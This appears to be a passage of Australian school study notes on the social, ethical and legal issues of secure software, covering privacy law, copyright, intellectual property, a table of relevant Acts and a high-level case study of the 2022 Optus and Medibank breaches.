- intellectual property
- digital disruption
Employment
The growing emphasis on software security is creating significant structural shifts in the technology labour market. Demand for cybersecurity professionals is growing rapidly — Government and industry reports have repeatedly identified a shortage of cyber security skills in Australia. This creates strong employment opportunities for software engineers with security specialisations. However, automation of routine security testing (SAST, DAST, vulnerability scanning) is reducing demand for lower-skilled security roles focused on running tools and interpreting standard outputs. The remaining and growing roles require higher-order skills: penetration testers who think creatively like attackers, security architects who design systemic defences, and incident responders who manage complex breaches under pressure. Developers who do not develop security competency risk being disadvantaged as "secure by default" coding practices become a baseline expectation of all engineering roles, not a specialist add-on.
Data Security
Enterprises that handle personal data have both a legal obligation and an ethical duty to protect it. The legal framework in Australia includes the Privacy Act 1988 (Australian Privacy Principles), the Notifiable Data Breaches (NDB) scheme (requiring notification of eligible breaches to the OAIC and affected individuals as soon as practicable once an organisation has reasonable grounds to believe one has occurred), and sector-specific requirements such as the My Health Records Act for healthcare data. The ethical dimension extends beyond legal compliance: collecting more data than necessary, retaining it longer than required, or using it for purposes beyond those disclosed to users at collection represents a breach of user trust even if it is technically legal. Engineers bear professional responsibility for the security of systems they design — a negligently designed system that suffers an avoidable breach causes real harm to real individuals whose financial, medical, or personal information is exposed. The ethical obligation is to apply due diligence in security design proportionate to the sensitivity of the data handled.
Privacy
Privacy is a fundamental human right recognised in Australian law through the Privacy Act 1988 and its APPs. Insecure software that exposes personal information — whether through a breach caused by negligent security design or through deliberately excessive data collection — violates this right with lasting consequences for affected individuals. Exposed personal information enables identity theft, financial fraud, targeted phishing, and in extreme cases stalking and physical harm. The social harm of large-scale breaches (such as the 2022 Optus breach affecting millions of Australians, or the Medibank breach exposing sensitive health records) extends far beyond the immediate financial impact — creating lasting anxiety, distrust of digital services, and disproportionate harm to vulnerable individuals (domestic violence survivors, people with stigmatised health conditions) whose disclosed information can be weaponised against them. Engineers have an ethical obligation to treat privacy as a genuine design priority, not merely a compliance exercise.
Copyright
Software is protected by copyright from the moment it is created, without requiring registration. Copyright protects the specific expression of code (the actual written source code) — not the underlying idea or functionality. Enterprises must ensure they do not incorporate third-party code without the appropriate licence. Using open-source libraries requires understanding and complying with their respective licences: MIT and Apache 2.0 allow use in proprietary software with attribution; GPL-licensed code requires any derivative work to also be open source — a requirement that can force an enterprise to open-source its proprietary codebase if GPL code is incorporated without understanding this obligation. AI-generated code introduces novel copyright questions that are not yet fully resolved in Australian law — the source of training data and the originality of generated output are active areas of legal debate with significant implications for enterprise software development.
Intellectual Property
Proprietary software algorithms, architectures, and business logic represent significant intellectual property (IP) assets that secure software design must protect from theft and unauthorised disclosure. Trade secrets (unpatented technical approaches that derive value from their secrecy) are protected mainly by the equitable action for breach of confidence and by confidentiality clauses in contracts, but only if the enterprise takes reasonable steps to maintain their secrecy — which requires technical security measures (code obfuscation, server-side execution of sensitive logic, access controls, NDAs with employees and contractors) and legal protections. A security breach that exposes proprietary source code, training data for ML models, or unique business algorithms can destroy the commercial value of years of R&D investment. Also, engineers must ensure the software they develop does not unintentionally incorporate competitors' IP through reverse engineering — a legally and ethically fraught practice with significant liability exposure.
Digital Disruption
Highly secure, scalable digital platforms are a primary vehicle of digital disruption — displacing established industries by offering superior trust, convenience, and cost efficiency built on robust technical infrastructure. The disruption is bidirectional: secure fintech platforms (such as Afterpay, Revolut, and digital-only banks) disrupt traditional banking by offering comparable or superior financial services without physical branch infrastructure; conversely, a high-profile security failure by a disruptive digital entrant (such as a cryptocurrency exchange breach) can instantly restore consumer confidence in the incumbent institution it was displacing. For established enterprises, failing to invest in secure digital infrastructure creates vulnerability to disruption by more security-mature competitors — customers increasingly make choices based on perceived trustworthiness of digital platforms. The social dimension of digital disruption includes: geographic communities losing economic activity as digital services replace local businesses; skill displacement as digital processes automate roles that provided employment pathways; and concentration of market power in digital platform operators whose security and privacy practices affect vast user populations with limited alternatives.
The Australian legal framework for secure software
Several laws shape what software developers and enterprises in Australia must do. Learn what each is about and what it means for how software is built; the exact wording of each Act is on legislation.gov.au.
| Law | What it does | What it means for software |
|---|---|---|
| Privacy Act 1988 and the Australian Privacy Principles | Regulates how Australian Government agencies and many private organisations collect, use, store and disclose personal information. The OAIC enforces it. For serious or repeated interferences with privacy the maximum civil penalty for a company is the greatest of $50 million, three times the benefit gained, or 30% of adjusted turnover. | Collect less (APP 3), use for the stated purpose (APP 6), secure and delete information (APP 11), and support access and correction (APPs 12 and 13) |
| Notifiable Data Breaches scheme (Part IIIC of the Privacy Act) | Requires covered organisations to notify the OAIC and affected people about eligible data breaches likely to cause serious harm | Logging and monitoring that show what was accessed; a rehearsed incident response plan |
| Cyber Security Act 2024 | Introduced, among other things, mandatory reporting to the government when certain businesses and critical infrastructure entities make a ransomware payment (within 72 hours of the payment), minimum security standards for consumer smart devices, and a Cyber Incident Review Board to examine major incidents | Products that connect to the internet cannot ship with universal default passwords or hidden weaknesses; businesses need incident and ransomware plans |
| Security of Critical Infrastructure Act 2018 | Sets security obligations for operators of critical infrastructure assets across sectors such as energy, water, health, communications, transport and financial services, including asset registers, risk management programs and cyber incident reporting to the government | Software for these sectors must show security by design and be resilient, and operators must report serious cyber incidents |
| Criminal Code Act 1995, Part 10.7 (inserted by the Cybercrime Act 2001) | Makes unauthorised access to, or modification of, data and other computer offences crimes | Security testing must be authorised in writing; malicious code and unauthorised access are criminal |
| Copyright Act 1968 | Protects original expression, including source code, from copying without permission | Respect open-source licence terms; keep licence records for dependencies |
| NSW privacy laws (the Privacy and Personal Information Protection Act 1998 and Health Records and Information Privacy Act 2002) | Apply to NSW public sector agencies, including public schools, and include a scheme for notifying eligible data breaches | The same design ideas apply, with a different regulator and different rules |
These summaries are for study, not legal advice, and laws change. Reform of privacy and cyber security legislation is continuing, so check the OAIC and cyber.gov.au websites for the current position.
Case study: two 2022 breaches, described carefully
Two events show how technical decisions become social, ethical and legal consequences. Only widely documented facts are given here.
- Optus (September 2022). Personal information of millions of current and former customers was exposed. Public reporting said the data was reached through an internet-facing application programming interface (API) that lacked adequate access control, and that information about former customers was still being held. Design lessons: authorise every API request, minimise data, and delete what is no longer needed.
- Medibank (October 2022). Medibank said the attacker used stolen credentials. Data on millions of customers, including sensitive health claims information, was later published after a ransom demand was refused. The OAIC has brought civil penalty proceedings in the Federal Court over the incident. Design lessons: protect credentials with multi-factor authentication and monitoring, limit what one account can reach, and plan the response to extortion in advance.
Both events prompted debate about how long organisations should keep personal information, how quickly customers should be told and whether penalties were sufficient. The maximum Privacy Act penalties were increased in late 2022, soon after the Optus breach. Consider the ethical dimension too: people whose health or identity documents were exposed cannot "undo" the exposure, so the harm is long lasting.
Weighing the issues
An evaluate answer weighs benefits against costs from more than one point of view. The table gives a starting frame for secure software.
| Perspective | Positive effects | Negative effects or tensions |
|---|---|---|
| Individuals | Personal information, money and safety are better protected; trust in digital services grows | Extra steps such as multi-factor authentication can be inconvenient or excluding; monitoring for security can intrude on privacy |
| Enterprises | Fewer costly incidents, easier compliance, stronger reputation | Security costs money and time; small businesses may struggle to afford specialists; over-collection of data for "security" can itself breach privacy |
| Society | Essential services stay available; criminals have fewer easy targets | A widening gap between organisations that can and cannot afford security; jobs change as testing is automated |
Professional bodies such as the Australian Computer Society expect their members to act in the public interest and to keep confidential information secure, which gives developers a professional standard beyond what the law strictly requires. Reporting a flaw responsibly to the owner, rather than exploiting it or publicising it before it is fixed, is one practical expression of that duty.